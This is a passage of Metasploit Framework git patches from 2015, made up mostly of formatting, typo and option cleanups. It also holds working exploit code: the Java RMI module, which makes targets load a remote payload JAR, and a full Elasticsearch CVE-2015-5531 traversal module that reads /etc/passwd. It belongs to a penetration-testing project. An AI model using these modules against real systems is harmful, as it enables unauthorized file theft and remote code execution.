jar.add_files(paths, MetasploitPayloads.path('java')) - send_response(cli, jar.pack, + send_response(cli, jar.pack, { 'Content-Type' => 'application/java-archive', 'Connection' => 'close', @@ -236,7 +234,7 @@ class Metasploit3 < Msf::Exploit::Remote new_array_super.description = Rex::Java::Serialization::Model::NullReference.new new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;') + new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;') new_array_desc.serial_version = 0x871300b8d02c647e new_array_desc.flags = 2 new_array_desc.fields = [] @@ -252,16 +250,16 @@ class Metasploit3 < Msf::Exploit::Remote new_array.array_description = array_desc arguments << new_array - arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00") + arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00") new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader') + new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader') new_class_desc.serial_version = 0xa16544ba26f9c2f4 new_class_desc.flags = 2 new_class_desc.fields = [] new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new new_class_desc.class_annotation.contents = [ - Rex::Java::Serialization::Model::Utf.new(nil, jar_url), + Rex::Java::Serialization::Model::Utf.new(nil, jar_url), Rex::Java::Serialization::Model::EndBlockData.new ] new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new @@ -274,7 +272,7 @@ class Metasploit3 < Msf::Exploit::Remote arguments << new_object - arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00") + arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00") arguments end From af445ee4117417a8086895c03ad7bcbc1fbc3669 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 9 Oct 2015 23:24:51 -0500 Subject: [PATCH 0886/2172] Re apply a couple of fixes --- modules/exploits/multi/misc/java_rmi_server.rb | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/misc/java_rmi_server.rb b/modules/exploits/multi/misc/java_rmi_server.rb index 600173018c..a4991771c4 100644 --- a/modules/exploits/multi/misc/java_rmi_server.rb +++ b/modules/exploits/multi/misc/java_rmi_server.rb @@ -152,7 +152,12 @@ class Metasploit3 < Msf::Exploit::Remote arguments: build_dgc_clean_args(new_url) ) - return_value = recv_return + begin + return_value = recv_return + rescue Rex::StreamClosedError + disconnect + return + end if return_value.nil? && !session_created? fail_with(Failure::Unknown, 'RMI Call failed') @@ -200,7 +205,7 @@ class Metasploit3 < Msf::Exploit::Remote if exception.class == Rex::Java::Serialization::Model::NewObject && exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc && exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&& - exception.class_data[0].class == Rex::Java::Serialization::Model::NullReference && + [Rex::Java::Serialization::Model::NullReference, Rex::Java::Serialization::Model::Reference].include?(exception.class_data[0].class) && exception.class_data[1].contents.include?('RMI class loader disabled') return true end From e6fbca716ce3b636bd97a9b925a7d024a945facf Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 9 Oct 2015 23:29:23 -0500 Subject: [PATCH 0887/2172] Readd comment --- modules/exploits/multi/misc/java_rmi_server.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/multi/misc/java_rmi_server.rb b/modules/exploits/multi/misc/java_rmi_server.rb index a4991771c4..c9bac09091 100644 --- a/modules/exploits/multi/misc/java_rmi_server.rb +++ b/modules/exploits/multi/misc/java_rmi_server.rb @@ -153,6 +153,7 @@ class Metasploit3 < Msf::Exploit::Remote ) begin + # There should be a session... return_value = recv_return rescue Rex::StreamClosedError disconnect From c60fa496c77212159b3f46f83373612eac2d3595 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 9 Oct 2015 23:37:11 -0500 Subject: [PATCH 0888/2172] Delete extra spaces --- .../exploits/multi/misc/java_rmi_server.rb | 44 +++++++++---------- 1 file changed, 22 insertions(+), 22 deletions(-) diff --git a/modules/exploits/multi/misc/java_rmi_server.rb b/modules/exploits/multi/misc/java_rmi_server.rb index c9bac09091..83a02d00da 100644 --- a/modules/exploits/multi/misc/java_rmi_server.rb +++ b/modules/exploits/multi/misc/java_rmi_server.rb @@ -16,13 +16,13 @@ class Metasploit3 < Msf::Exploit::Remote 'Name' => 'Java RMI Server Insecure Default Configuration Java Code Execution', 'Description' => %q{ This module takes advantage of the default configuration of the RMI Registry and - RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it + RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it invokes a method in the RMI Distributed Garbage Collector which is available via every - RMI endpoint, it can be used against both rmiregistry and rmid, and against most other + RMI endpoint, it can be used against both rmiregistry and rmid, and against most other (custom) RMI endpoints as well. Note that it does not work against Java Management Extension (JMX) ports since those do - not support remote class loading, unless another RMI endpoint is active in the same + not support remote class loading, unless another RMI endpoint is active in the same Java process. RMI method calls do not support or require any sort of authentication. @@ -32,14 +32,14 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ # RMI protocol specification - [ 'URL', 'http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html'], + [ 'URL', 'http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html'], # Placeholder reference for matching - [ 'MSF', 'java_rmi_server'] + [ 'MSF', 'java_rmi_server'] ], 'DisclosureDate' => 'Oct 15 2011', 'Platform' => %w{ java linux osx solaris win }, 'Privileged' => false, - 'Payload' => { 'BadChars' => '', 'DisableNops' => true }, + 'Payload' => { 'BadChars' => '', 'DisableNops' => true }, 'Stance' => Msf::Exploit::Stance::Aggressive, 'DefaultOptions' => { @@ -82,7 +82,7 @@ class Metasploit3 < Msf::Exploit::Remote )) register_options([ Opt::RPORT(1099), - OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]), + OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]), ], self.class) register_common_rmi_ports_and_services end @@ -91,18 +91,18 @@ class Metasploit3 < Msf::Exploit::Remote begin Timeout.timeout(datastore['HTTPDELAY']) { super } rescue Timeout::Error - # When the server stops due to our timeout, re-raise + # When the server stops due to our timeout, re-raise # RuntimeError so it won't wait the full wfs_delay - raise ::RuntimeError, "Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request" + raise ::RuntimeError, "Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request" rescue Msf::Exploit::Failed # When the server stops due primer failing, re-raise # RuntimeError so it won't wait the full wfs_delays - raise ::RuntimeError, "Exploit aborted due to failure #{fail_reason} #{(fail_detail || "No reason given")}" - rescue Rex::ConnectionTimeout, Rex::ConnectionRefused => e + raise ::RuntimeError, "Exploit aborted due to failure #{fail_reason} #{(fail_detail || "No reason given")}" + rescue Rex::ConnectionTimeout, Rex::ConnectionRefused => e # When the primer fails due to an error connecting with # the rhost, re-raise RuntimeError so it won't wait the # full wfs_delays - raise ::RuntimeError, e.message + raise ::RuntimeError, e.message end end @@ -117,7 +117,7 @@ class Metasploit3 < Msf::Exploit::Remote send_header ack = recv_protocol_ack if ack.nil? - fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol") + fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol") end jar = rand_text_alpha(rand(8)+1) + '.jar' @@ -141,7 +141,7 @@ class Metasploit3 < Msf::Exploit::Remote # JDK 1.1 stub protocol # Interface hash: 0xf6b6898d8bf28643 (sun.rmi.transport.DGCImpl_Stub) - # Operation: 0 (public void clean(ObjID[] paramArrayOfObjID, long paramLong, VMID paramVMID, boolean paramBoolean)) + # Operation: 0 (public void clean(ObjID[] paramArrayOfObjID, long paramLong, VMID paramVMID, boolean paramBoolean)) send_call( object_number: 2, uid_number: 0, @@ -180,12 +180,12 @@ class Metasploit3 < Msf::Exploit::Remote p = regenerate_payload(cli) jar = p.encoded_jar paths = [ - [ "metasploit", "RMILoader.class" ], - [ "metasploit", "RMIPayload.class" ], + [ "metasploit", "RMILoader.class" ], + [ "metasploit", "RMIPayload.class" ], ] - jar.add_files(paths, MetasploitPayloads.path('java')) + jar.add_files(paths, MetasploitPayloads.path('java')) - send_response(cli, jar.pack, + send_response(cli, jar.pack, { 'Content-Type' => 'application/java-archive', 'Connection' => 'close', @@ -240,7 +240,7 @@ class Metasploit3 < Msf::Exploit::Remote new_array_super.description = Rex::Java::Serialization::Model::NullReference.new new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;') + new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;') new_array_desc.serial_version = 0x871300b8d02c647e new_array_desc.flags = 2 new_array_desc.fields = [] @@ -259,13 +259,13 @@ class Metasploit3 < Msf::Exploit::Remote arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00") new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader') + new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader') new_class_desc.serial_version = 0xa16544ba26f9c2f4 new_class_desc.flags = 2 new_class_desc.fields = [] new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new new_class_desc.class_annotation.contents = [ - Rex::Java::Serialization::Model::Utf.new(nil, jar_url), + Rex::Java::Serialization::Model::Utf.new(nil, jar_url), Rex::Java::Serialization::Model::EndBlockData.new ] new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new @@ -278,7 +278,7 @@ class Metasploit3 < Msf::Exploit::Remote arguments << new_object - arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00") + arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00") arguments end From b9b488c1099692065b45c6c658cd7675e33f6484 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 9 Oct 2015 23:38:33 -0500 Subject: [PATCH 0889/2172] Deleted unused exception handling --- modules/exploits/multi/misc/java_rmi_server.rb | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) diff --git a/modules/exploits/multi/misc/java_rmi_server.rb b/modules/exploits/multi/misc/java_rmi_server.rb index 83a02d00da..128be9b71c 100644 --- a/modules/exploits/multi/misc/java_rmi_server.rb +++ b/modules/exploits/multi/misc/java_rmi_server.rb @@ -152,13 +152,7 @@ class Metasploit3 < Msf::Exploit::Remote arguments: build_dgc_clean_args(new_url) ) - begin - # There should be a session... - return_value = recv_return - rescue Rex::StreamClosedError - disconnect - return - end + return_value = recv_return if return_value.nil? && !session_created? fail_with(Failure::Unknown, 'RMI Call failed') From 6f3bd81b64ff401ee7710f6f4dce257935540876 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 11 Oct 2015 12:52:46 -0500 Subject: [PATCH 0890/2172] Enable 64-bit payloads for MSSQL modules --- modules/exploits/windows/mssql/mssql_linkcrawler.rb | 1 + modules/exploits/windows/mssql/mssql_payload.rb | 1 + modules/exploits/windows/mssql/mssql_payload_sqli.rb | 1 + 3 files changed, 3 insertions(+) diff --git a/modules/exploits/windows/mssql/mssql_linkcrawler.rb b/modules/exploits/windows/mssql/mssql_linkcrawler.rb index e03b2907be..e9bc7580e0 100644 --- a/modules/exploits/windows/mssql/mssql_linkcrawler.rb +++ b/modules/exploits/windows/mssql/mssql_linkcrawler.rb @@ -42,6 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Scott Sutherland "nullbind" ' ], 'Platform' => [ 'win' ], + 'Arch' => [ ARCH_X86, ARCH_X86_64 ], 'License' => MSF_LICENSE, 'References' => [ diff --git a/modules/exploits/windows/mssql/mssql_payload.rb b/modules/exploits/windows/mssql/mssql_payload.rb index 063dcf9ece..d5ebe45d04 100644 --- a/modules/exploits/windows/mssql/mssql_payload.rb +++ b/modules/exploits/windows/mssql/mssql_payload.rb @@ -54,6 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'BID', '4797' ] ], 'Platform' => 'win', + 'Arch' => [ ARCH_X86, ARCH_X86_64 ], 'Targets' => [ [ 'Automatic', { } ], diff --git a/modules/exploits/windows/mssql/mssql_payload_sqli.rb b/modules/exploits/windows/mssql/mssql_payload_sqli.rb index 963631e449..4ab1c8beb6 100644 --- a/modules/exploits/windows/mssql/mssql_payload_sqli.rb +++ b/modules/exploits/windows/mssql/mssql_payload_sqli.rb @@ -75,6 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'Platform' => 'win', + 'Arch' => [ ARCH_X86, ARCH_X86_64 ], 'Payload' => { 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\%", From dbfee51ad35d583fc22864a0ed37bb8fb1fb9ac4 Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 12 Oct 2015 11:52:55 +1000 Subject: [PATCH 0891/2172] Add support for folder importing --- .../ui/console/command_dispatcher/python.rb | 60 +++++++++++++++---- 1 file changed, 47 insertions(+), 13 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/python.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/python.rb index 5ed0ea9baa..4a76812100 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/python.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/python.rb @@ -31,7 +31,7 @@ class Console::CommandDispatcher::Python { 'python_reset' => 'Resets/restarts the Python interpreter', 'python_execute' => 'Execute a python command string', - 'python_import' => 'Import/run a python run' + 'python_import' => 'Import/run a python file or module' } end @@ -42,15 +42,18 @@ class Console::CommandDispatcher::Python @@python_import_opts = Rex::Parser::Arguments.new( '-h' => [false, 'Help banner'], - '-f' => [true, 'Path to the file (.py, .pyc) to import'], - '-m' => [true, 'Name of the module (optional)'], - '-r' => [true, 'Name of the variable containing the result (optional)'] + '-f' => [true, 'Path to the file (.py, .pyc), or module directory to import'], + '-n' => [true, 'Name of the module (optional, for single files only)'], + '-r' => [true, 'Name of the variable containing the result (optional, single files only)'] ) def python_import_usage - print_line('Usage: python_imoprt <-f file path> [-m mod name] [-r result var name]') + print_line('Usage: python_imoprt <-f file path> [-n mod name] [-r result var name]') print_line - print_line('Loads a python code file from disk into memory on the target.') + print_line('Loads a python code file or module from disk into memory on the target.') + print_line('The module loader requires a path to a folder that contains the module,') + print_line('and the folder name will be used as the module name. Only .py files will') + print_line('work with modules.') print_line(@@python_import_opts.usage) end @@ -64,28 +67,59 @@ class Console::CommandDispatcher::Python end result_var = nil - file = nil + source = nil mod_name = nil @@python_import_opts.parse(args) { |opt, idx, val| case opt when '-f' - file = val - when '-m' + source = val + when '-n' mod_name = val when '-r' result_var = val end } - unless file - print_error("File path must be specified") + unless source + print_error("The -f parameter must be specified") return false end - result = client.python.import(file, mod_name, result_var) + if ::File.directory?(source) + files = ::Find.find(source).select { |p| /.*\.py$/ =~ p } + if files.length == 0 + fail_with("No .py files found in #{source}") + end + + base_name = ::File.basename(source) + unless source.end_with?('/') + source << '/' + end + + print_status("Importing #{source} with base module name #{base_name} ...") + + files.each do |file| + rel_path = file[source.length, file.length - source.length] + parts = rel_path.split('/') + + mod_parts = [base_name] + parts[0, parts.length - 1] + + if parts[-1] != '__init__.py' + mod_parts << ::File.basename(parts[-1], '.*') + end + + mod_name = mod_parts.join('.') + print_status("Importing #{file} as #{mod_name} ...") + result = client.python.import(file, mod_name, nil) + handle_exec_result(result, nil) + end + else + print_status("Importing #{source} ...") + result = client.python.import(source, mod_name, result_var) + handle_exec_result(result, result_var) + end - handle_exec_result(result, result_var) end @@python_execute_opts = Rex::Parser::Arguments.new( From 9adb2ee26707d9b86b7da112844b7acea161c6c9 Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 12 Oct 2015 14:58:30 +1000 Subject: [PATCH 0892/2172] Fix silly typo --- .../post/meterpreter/ui/console/command_dispatcher/python.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/python.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/python.rb index 4a76812100..7ac10d8daf 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/python.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/python.rb @@ -48,7 +48,7 @@ class Console::CommandDispatcher::Python ) def python_import_usage - print_line('Usage: python_imoprt <-f file path> [-n mod name] [-r result var name]') + print_line('Usage: python_import <-f file path> [-n mod name] [-r result var name]') print_line print_line('Loads a python code file or module from disk into memory on the target.') print_line('The module loader requires a path to a folder that contains the module,') From cc5003b502ed4fb48a6c3cb1c4cf2df1f4145bc5 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 12 Oct 2015 17:03:45 -0500 Subject: [PATCH 0893/2172] Get rid of some tabs in COPYING --- COPYING | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/COPYING b/COPYING index 7a2735e866..15c0e40d10 100644 --- a/COPYING +++ b/COPYING @@ -5,15 +5,15 @@ Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, - this list of conditions and the following disclaimer. + this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. * Neither the name of Rapid7, Inc. nor the names of its contributors - may be used to endorse or promote products derived from this software - without specific prior written permission. + may be used to endorse or promote products derived from this software + without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED From 336c56bb8dc5e1fc0029411b4392748384a283f7 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 12 Oct 2015 17:09:45 -0500 Subject: [PATCH 0894/2172] Note the CAPTCHA exploit is good on 1.12. --- modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb b/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb index 72f23c6e3a..8178bbac30 100644 --- a/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb +++ b/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb @@ -19,7 +19,7 @@ class Metasploit3 < Msf::Exploit::Remote This module exploits an anonymous remote code execution vulnerability on D-Link DIR-605L routers. The vulnerability exists while handling user supplied captcha information, and is due to the insecure usage of sprintf on the getAuthCode() function. This module has been tested - successfully on DLink DIR-605L Firmware 1.13 under a QEMU environment. + successfully on D-Link DIR-605L firmware 1.13 (emulated) and firmware 1.12 (real). }, 'Author' => [ From 185e947ce5ddcc7f3f6eecb0e2fb6e8ae8909f82 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 12 Oct 2015 17:12:01 -0500 Subject: [PATCH 0895/2172] Spell 'D-Link' correctly --- modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb | 4 ++-- modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb b/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb index eaa5fe9a76..ebf3838a7b 100644 --- a/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb +++ b/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb @@ -15,9 +15,9 @@ class Metasploit3 < Msf::Auxiliary def initialize super( - 'Name' => 'DLink User-Agent Backdoor Scanner', + 'Name' => 'D-Link User-Agent Backdoor Scanner', 'Description' => %q{ - This module attempts to find DLink devices running Alphanetworks web interfaces affected + This module attempts to find D-Link devices running Alphanetworks web interfaces affected by the backdoor found on the User-Agent header. This module has been tested successfully on a DIR-100 device with firmware version v1.13. }, diff --git a/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb b/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb index 8178bbac30..14d871d2b0 100644 --- a/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb +++ b/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'Targets' => [ - [ 'DLink DIR-605L 1.13', + [ 'D-Link DIR-605L 1.13', # Works on 1.12 as well { 'Offset' => 94, 'LibcBase' => 0x2ab86000, # According to Original Exploit by Craig Heffner From 7790f14af2d5a137792461b9dd6bf1e1c4a292ab Mon Sep 17 00:00:00 2001 From: jaguasch Date: Tue, 13 Oct 2015 13:05:58 +0100 Subject: [PATCH 0896/2172] Auxiliary module to exploit CVE-2015-5531 (Directory traversal) in Elasticsearch before 1.6.1 --- .../scanner/http/elasticsearch_traversal.rb | 116 ++++++++++++++++++ 1 file changed, 116 insertions(+) create mode 100644 modules/auxiliary/scanner/http/elasticsearch_traversal.rb diff --git a/modules/auxiliary/scanner/http/elasticsearch_traversal.rb b/modules/auxiliary/scanner/http/elasticsearch_traversal.rb new file mode 100644 index 0000000000..7e335b3c33 --- /dev/null +++ b/modules/auxiliary/scanner/http/elasticsearch_traversal.rb @@ -0,0 +1,116 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'json' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'ElasticSearch Snapshot API Directory Traversal', + 'Description' => %q{'This module exploits a directory traversal + vulnerability in ElasticSearch, allowing an attacker to read arbitrary + files with JVM process privileges, through the Snapshot API. + '}, + 'References' => + [ + ['CVE', '2015-5531'], + ['URL', 'https://packetstormsecurity.com/files/132721/Elasticsearch-Directory-Traversal.html'] + ], + 'Author' => + [ + 'Benjamin Smith', # Vulnerability discovery + 'Pedro Andujar ', # Metasploit module + 'Jose A. Guasch ', # Metasploit module + ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + Opt::RPORT(9200), + OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']), + OptInt.new('DEPTH', [true, 'Traversal depth', 7]) + ], self.class) + + deregister_options('RHOST') + end + + def proficy? + req1 = send_request_raw('method' => 'POST', + 'uri' => '/_snapshot/pwn', + 'data' => '{"type":"fs","settings":{"location":"dsr"}}') + + req2 = send_request_raw('method' => 'POST', + 'uri' => '/_snapshot/pwnie', + 'data' => '{"type":"fs","settings":{"location":"dsr/snapshot-ev1l"}}') + + if req1.body =~ /true/ && req2.body =~ /true/ + return true + else + return false + end + end + + def read_file(file) + travs = '_snapshot/pwn/ev1l%2f' + + payload = '../' * datastore['DEPTH'] + + travs << payload.gsub('/', '%2f') + travs << file.gsub('/', '%2f') + + print_status("#{peer} - Checking if it's a vulnerable ElasticSearch") + + if proficy? + print_good("#{peer} - Check successful") + else + print_error("#{peer} - ElasticSearch not vulnearble") + return + end + + print_status("#{peer} - Retrieving file contents...") + + res = send_request_raw('method' => 'GET', + 'uri' => travs) + + if res && (res.code == 400) + return res.body + else + print_status("#{res.code}\n#{res.body}") + return nil + end + end + + def run_host(ip) + filename = datastore['FILEPATH'] + filename = filename[1, filename.length] if filename =~ %r{/^\//} + + contents = read_file(filename) + + if contents.nil? + print_error("#{peer} - File not downloaded") + return + end + + data_hash = JSON.parse(contents) + fcontent = data_hash['error'].scan(/\d+/).drop(2).map(&:to_i).pack('c*') + fname = datastore['FILEPATH'] + + path = store_loot( + 'elasticsearch.traversal', + 'text/plain', + ip, + fcontent, + fname + ) + print_good("#{peer} - File saved in: #{path}") + end +end + From 772f9d874214db8b38a6dad13298c3e275c0298e Mon Sep 17 00:00:00 2001 From: jaguasch Date: Tue, 13 Oct 2015 16:06:26 +0100 Subject: [PATCH 0897/2172] Changes based on espreto recommendations --- .../scanner/http/elasticsearch_traversal.rb | 41 +++++++++++-------- 1 file changed, 25 insertions(+), 16 deletions(-) diff --git a/modules/auxiliary/scanner/http/elasticsearch_traversal.rb b/modules/auxiliary/scanner/http/elasticsearch_traversal.rb index 7e335b3c33..7f51f3ac67 100644 --- a/modules/auxiliary/scanner/http/elasticsearch_traversal.rb +++ b/modules/auxiliary/scanner/http/elasticsearch_traversal.rb @@ -14,14 +14,16 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, 'Name' => 'ElasticSearch Snapshot API Directory Traversal', - 'Description' => %q{'This module exploits a directory traversal - vulnerability in ElasticSearch, allowing an attacker to read arbitrary - files with JVM process privileges, through the Snapshot API. - '}, + 'Description' => %q{ + This module exploits a directory traversal + vulnerability in ElasticSearch, allowing an attacker to read arbitrary + files with JVM process privileges, through the Snapshot API. + }, 'References' => [ ['CVE', '2015-5531'], - ['URL', 'https://packetstormsecurity.com/files/132721/Elasticsearch-Directory-Traversal.html'] + ['URL', 'https://packetstormsecurity.com/files/132721/Elasticsearch-Directory-Traversal.html'], + ['PACKETSTORM', '132721'] ], 'Author' => [ @@ -43,15 +45,15 @@ class Metasploit3 < Msf::Auxiliary end def proficy? - req1 = send_request_raw('method' => 'POST', + res1 = send_request_raw('method' => 'POST', 'uri' => '/_snapshot/pwn', 'data' => '{"type":"fs","settings":{"location":"dsr"}}') - req2 = send_request_raw('method' => 'POST', + res2 = send_request_raw('method' => 'POST', 'uri' => '/_snapshot/pwnie', 'data' => '{"type":"fs","settings":{"location":"dsr/snapshot-ev1l"}}') - if req1.body =~ /true/ && req2.body =~ /true/ + if res1.body =~ /true/ && res2.body =~ /true/ return true else return false @@ -66,24 +68,24 @@ class Metasploit3 < Msf::Auxiliary travs << payload.gsub('/', '%2f') travs << file.gsub('/', '%2f') - print_status("#{peer} - Checking if it's a vulnerable ElasticSearch") + vprint_status("#{peer} - Checking if it's a vulnerable ElasticSearch") if proficy? - print_good("#{peer} - Check successful") + vprint_good("#{peer} - Check successful") else - print_error("#{peer} - ElasticSearch not vulnearble") + vprint_error("#{peer} - ElasticSearch not vulnearble") return end - print_status("#{peer} - Retrieving file contents...") + vprint_status("#{peer} - Retrieving file contents...") res = send_request_raw('method' => 'GET', 'uri' => travs) - if res && (res.code == 400) + if res && res.code == 400 return res.body else - print_status("#{res.code}\n#{res.body}") + vprint_status("#{res.code}\n#{res.body}") return nil end end @@ -99,7 +101,13 @@ class Metasploit3 < Msf::Auxiliary return end - data_hash = JSON.parse(contents) + begin + data_hash = JSON.parse(contents) + rescue JSON::ParserError + vprint_error("#{peer} - Unable to parse JSON") + return + end + fcontent = data_hash['error'].scan(/\d+/).drop(2).map(&:to_i).pack('c*') fname = datastore['FILEPATH'] @@ -110,7 +118,8 @@ class Metasploit3 < Msf::Auxiliary fcontent, fname ) - print_good("#{peer} - File saved in: #{path}") + vprint_good("#{peer} - File saved in: #{path}") + end end From c642057fa07d1db5366b98926768d96b714871a7 Mon Sep 17 00:00:00 2001 From: William Vu Date: Fri, 9 Oct 2015 17:05:16 -0500 Subject: [PATCH 0898/2172] Clean up module --- lib/msf/core/db_manager/vuln.rb | 2 +- .../scanner/http/host_header_injection.rb | 45 ++++++++++--------- 2 files changed, 24 insertions(+), 23 deletions(-) diff --git a/lib/msf/core/db_manager/vuln.rb b/lib/msf/core/db_manager/vuln.rb index 169ad78361..9eb549fca6 100644 --- a/lib/msf/core/db_manager/vuln.rb +++ b/lib/msf/core/db_manager/vuln.rb @@ -230,4 +230,4 @@ module Msf::DBManager::Vuln wspace.vulns } end -end \ No newline at end of file +end diff --git a/modules/auxiliary/scanner/http/host_header_injection.rb b/modules/auxiliary/scanner/http/host_header_injection.rb index 04be9c539c..deea80733c 100644 --- a/modules/auxiliary/scanner/http/host_header_injection.rb +++ b/modules/auxiliary/scanner/http/host_header_injection.rb @@ -5,23 +5,23 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class Metasploit4 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::WmapScanServer include Msf::Auxiliary::Scanner - def initialize(info={}) + def initialize(info = {}) super(update_info(info, - 'Name' => 'HTTP Host-Header Injection Detection', - 'Description' => 'Checks if the host is vulnerable to Host-Header Injection', - 'Author' => + 'Name' => 'HTTP Host Header Injection Detection', + 'Description' => 'Checks if the host is vulnerable to Host header injection', + 'Author' => [ - 'Jay Turla <@shipcod3>', - 'Medz Barao <@godflux>' + 'Jay Turla', # @shipcod3 + 'Medz Barao' # @godflux ], 'License' => MSF_LICENSE, - 'References' => + 'References' => [ ['URL', 'http://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html'] ] @@ -29,36 +29,36 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptString.new('TARGETHOST',[true, "The redirector target", "evil.com"]), - ],self.class) + OptString.new('TARGETHOST', [true, 'The redirector target', 'evil.com']) + ], self.class) end - def run_host(target_host) - + def run_host(ip) begin - p = "#{datastore['TARGETHOST']}" - res = send_request_raw({ + target_host = 